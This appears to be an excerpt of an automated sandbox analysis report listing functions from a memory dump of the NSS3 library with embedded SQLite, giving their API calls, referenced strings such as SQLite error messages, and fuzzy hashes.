_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5E410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5E449C

Strings

database corruption, xrefs: 6C5E4490, 6C5E44F4, 6C5E4599, 6C5E4764, 6C5E4804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E4452, 6C5E4486, 6C5E44EA, 6C5E4571, 6C5E4580, 6C5E458F, 6C5E475A, 6C5E47FA
%s at line %d of [%.10s], xrefs: 6C5E4495, 6C5E44F9, 6C5E459E, 6C5E4769, 6C5E4809

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 3d47af78744439ce07bd33391a7b8c4c4c71d718abd35ec90f22400094938668
Instruction ID: b39231fc6646ed9759bb5b54d2c4575b348b7eccfbc0ac5690f5997df00c517c
Opcode Fuzzy Hash: 3d47af78744439ce07bd33391a7b8c4c4c71d718abd35ec90f22400094938668
Instruction Fuzzy Hash: 7D82A375A04205CFCB04CFA9C984B9EB7B2BF4D318F2585A9D905ABB61D731EC42CB91

Function 6C6BAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6BACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C6BACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C6BACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C6BAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C6BADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BADF0

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6BB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6BB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6BB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C6BB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6BB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BB40C

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 4134caf94f91c36ffc25a8402a65d21032f80c7b25c2e30ab3c2ea9ce8a0ecc5
Instruction ID: 55dc86e3d85ddee7acbb1eb7ab738f2044b414fd00b935375330946e1411942d
Opcode Fuzzy Hash: 4134caf94f91c36ffc25a8402a65d21032f80c7b25c2e30ab3c2ea9ce8a0ecc5
Instruction Fuzzy Hash: 7922B171904301AFE710CF14CC84BAA77E1AF8530CF14857CE9596B792E772E869CB9A

Function 6C601F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6025F3

Strings

a NATURAL join may not have an ON or USING clause, xrefs: 6C6032C1
multiple recursive references: %s, xrefs: 6C6022E0
%s.%s.%s, xrefs: 6C60302D
unsafe use of virtual table "%s", xrefs: 6C6030D1
'%s' is not a function, xrefs: 6C602FD2
no such table: %s, xrefs: 6C6026AC
access to view "%s" prohibited, xrefs: 6C602F4A
H, xrefs: 6C60329F
recursive reference in a subquery: %s, xrefs: 6C6022E5
cannot have both ON and USING clauses in the same join, xrefs: 6C6032B5
no such index: "%s", xrefs: 6C60319D
no tables specified, xrefs: 6C6026BE
%s.%s, xrefs: 6C602D68
cannot join using column %s - column not present in both tables, xrefs: 6C6032AB
table %s has %d values for %d columns, xrefs: 6C60316C
too many columns in result set, xrefs: 6C603012
too many references to "%s": max 65535, xrefs: 6C602FB6
H, xrefs: 6C60322D

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 1c0043ce0f9ca4074ed2ecd78db43d52b2651509ce8305af52b756e024c8619e
Instruction ID: 5b53488fc50b79662d8843b336a581a44049c7e70e31fe1dc69c78b18773f816
Opcode Fuzzy Hash: 1c0043ce0f9ca4074ed2ecd78db43d52b2651509ce8305af52b756e024c8619e
Instruction Fuzzy Hash: D6D25B74F042098FDB08CF99C688BDDB7B2BF49308F288169D955BBB51D731A846CB58

Function 6C63ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C63ED38

Part of subcall function 6C5D4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C63EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C63EFE4

Part of subcall function 6C6FDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5D5001,?,00000003,00000000), ref: 6C6FDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C63F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C63F129
sqlite3_mprintf.NSS3(optimize), ref: 6C63F1D1
sqlite3_free.NSS3(?), ref: 6C63F368

Strings

fts4, xrefs: 6C63F2AD
fts3_tokenizer, xrefs: 6C63EE1A, 6C63EEA8
simple, xrefs: 6C63ED79
porter, xrefs: 6C63ED97
fts3, xrefs: 6C63F247
unicode61, xrefs: 6C63EDB5
snippet, xrefs: 6C63EF05, 6C63EF37, 6C63EF7C
matchinfo, xrefs: 6C63F04F, 6C63F082, 6C63F0C2, 6C63F0F2, 6C63F124, 6C63F169
optimize, xrefs: 6C63F199, 6C63F1CC, 6C63F211
fts4aux, xrefs: 6C63ECF9
fts3tokenize, xrefs: 6C63F30F
offsets, xrefs: 6C63EFAF, 6C63EFDF, 6C63F01F

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 3b0a0153f6b9bcb47ffcc7e222f1437bb33de304c53cbc5955d32129c8d06625
Instruction ID: cc0f7ecc91408ca7f261660d5079c40279b2af3e1c88b45207b63b79cf0c7994
Opcode Fuzzy Hash: 3b0a0153f6b9bcb47ffcc7e222f1437bb33de304c53cbc5955d32129c8d06625
Instruction Fuzzy Hash: E002E2B2B047108BE7049F72AC9572B36B2AFC5308F14653CD95E87B01EB75E846879B

Function 6C6B7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C6B7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6B7D1E

Part of subcall function 6C6B7870: SECOID_FindOID_Util.NSS3(?,?,?,6C6B91C5), ref: 6C6B788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6B7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6B7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6B7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6B7E58

Part of subcall function 6C6B7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6B91C5), ref: 6C6B78BB
Part of subcall function 6C6B7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6B91C5), ref: 6C6B78FA
Part of subcall function 6C6B7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7930
Part of subcall function 6C6B7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7951
Part of subcall function 6C6B7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6B7964
Part of subcall function 6C6B7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C6B797A
Part of subcall function 6C6B7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C6B7988
Part of subcall function 6C6B7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C6B7998
Part of subcall function 6C6B7870: free.MOZGLUE(00000000), ref: 6C6B79A7
Part of subcall function 6C6B7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B79BB
Part of subcall function 6C6B7870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6B91C5), ref: 6C6B79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6B7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6B7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C6B8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6B8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C6B8093
SECOID_FindOID_Util.NSS3 ref: 6C6B7F29

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6B8072
SECOID_FindOID_Util.NSS3 ref: 6C6B80F5

Part of subcall function 6C6BBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C6B800A,00000000,?,00000000,?), ref: 6C6BBC3F

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 78567ff5ae7bf57f3768106df3ed097e39ed84d5f27092f43171de6f1b7909ef
Instruction ID: 160ea4729a07efe57f7b23598f4b0b156b22397a0b5767c37455a3c67114b1ab
Opcode Fuzzy Hash: 78567ff5ae7bf57f3768106df3ed097e39ed84d5f27092f43171de6f1b7909ef
Instruction Fuzzy Hash: 8FE1B4716083019FD710CF28C880B5B77E5EF49348F14496DE98AABB61E731EC25CB6A

Function 6C641C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C641C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C641C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C641CA1
GetLengthSid.ADVAPI32(?), ref: 6C641CA9
malloc.MOZGLUE(00000000), ref: 6C641CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C641CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C641CE4
GetLengthSid.ADVAPI32(?), ref: 6C641CEC
malloc.MOZGLUE(00000000), ref: 6C641CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C641D0F
CloseHandle.KERNEL32(?), ref: 6C641D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C641D4D
GetLastError.KERNEL32 ref: 6C641D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C641D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C641D7A

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: c23683760331de0005acc12a6be0f2af73ef5e741bbb1b3f73919677db620d37
Instruction ID: 889e7f4f19c6208b2f5eaa78cd9e621a07d26bf1b1fbae05392763aab7ae4b2a
Opcode Fuzzy Hash: c23683760331de0005acc12a6be0f2af73ef5e741bbb1b3f73919677db620d37
Instruction Fuzzy Hash: F23153B1A01218AFEB11AF64DD48BAE7BF8FF49305F044075FA0992250EB315D94CF69

Function 6C643D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C643DFB
__allrem.LIBCMT ref: 6C643EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C643FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C644047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6440DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C64415F
__allrem.LIBCMT ref: 6C64416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C644288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6442AB
__allrem.LIBCMT ref: 6C6442B7

Strings

%03d, xrefs: 6C6442E8
%04d, xrefs: 6C64407B
%02d, xrefs: 6C644086
%lld, xrefs: 6C643FB2

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 3f933e64848c6bba9228d2f8778cae9c4d97d282940fe5d0145043946ec717b3
Instruction ID: f59378010d208610e0fd5f0b141a5aedc8739e4045eb2c189fef57281f03b2e4
Opcode Fuzzy Hash: 3f933e64848c6bba9228d2f8778cae9c4d97d282940fe5d0145043946ec717b3
Instruction Fuzzy Hash: 09F11271A087409FD715CF38C882BABB7F6AF86348F14CA2DE48597A51EB70D845CB46

Function 6C64EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64EF63

Part of subcall function 6C6587D0: PORT_NewArena_Util.NSS3(00000800,6C64EF74,00000000), ref: 6C6587E8
Part of subcall function 6C6587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C64EF74,00000000), ref: 6C6587FD
Part of subcall function 6C6587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C65884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C64F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C64F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C64F374
PL_strcasecmp.NSS3(6C792FD4,?), ref: 6C64F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C64F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C64F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C64F67D
CERT_DestroyName.NSS3(?), ref: 6C64F68B

Part of subcall function 6C658320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C658338
Part of subcall function 6C658320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C658364
Part of subcall function 6C658320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C65838E
Part of subcall function 6C658320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6583A5
Part of subcall function 6C658320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6583E3

Part of subcall function 6C6584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6584D9
Part of subcall function 6C6584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C658528

Part of subcall function 6C658900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C658955

Strings

oid., xrefs: 6C64F2CF
", xrefs: 6C64F21B
*, xrefs: 6C64F3C6

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 22598b37596162ae80155a1fda50ee85aca069fdb968bfe1a9d20cb25e0c41ad
Instruction ID: e18ea9ed9a6248c5d47b41839ea4c31155bce88e10ac59415f4bc707a349553f
Opcode Fuzzy Hash: 22598b37596162ae80155a1fda50ee85aca069fdb968bfe1a9d20cb25e0c41ad
Instruction Fuzzy Hash: E122167160C3418FD714DE68C4907ABB7E6ABC531CF18CA2EE49587B91E7319805CB9B

Function 6C5F1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5F1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C5F1FB7

Strings

attached databases must use the same text encoding as main database, xrefs: 6C5F20CA
sqlite_temp_master, xrefs: 6C5F1C5C
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C5F1F83
abort due to ROLLBACK, xrefs: 6C5F2223
another row available, xrefs: 6C5F2287
sqlite_master, xrefs: 6C5F1C61
unsupported file format, xrefs: 6C5F2188
no more rows available, xrefs: 6C5F2264
table, xrefs: 6C5F1C8B
unknown error, xrefs: 6C5F2291

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: e9d6e25d4b1301a629decdaab88034caf591ce553bd529ce83203fd915f44e0f
Instruction ID: dc1ad510cc31742feb499a7abd4afdb76cee612a0da93e9c2a0ada6c17ea11f1
Opcode Fuzzy Hash: e9d6e25d4b1301a629decdaab88034caf591ce553bd529ce83203fd915f44e0f
Instruction Fuzzy Hash: 3612D0B16083418FD708CF19C884A5ABBF2BF85318F19896DD9A58BB51D731EC46CF92

Function 6C615F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

u, xrefs: 6C6181DA
-, xrefs: 6C616228
sub-select returns %d columns - expected %d, xrefs: 6C61805F
2, xrefs: 6C6165B4
-, xrefs: 6C6162F9
BINARY, xrefs: 6C618708, 6C618737, 6C6187B8
NOCASE, xrefs: 6C618703
ON clause references tables to its right, xrefs: 6C616BEC

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: ef9e66a27df0f6ae4f42e797fb2c848e2e05c2b4ec89acc460440e6ca3f00185
Instruction ID: 38c0cadda4c5b945b9cf3d4fe8c143e571acde7e5c9caab0efc9128707572667
Opcode Fuzzy Hash: ef9e66a27df0f6ae4f42e797fb2c848e2e05c2b4ec89acc460440e6ca3f00185
Instruction Fuzzy Hash: 8D43517460C3418FD304CF2DC490A5AB7E2FF89319F15866DE8998BB52D731E846CB96

Function 6C6BEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

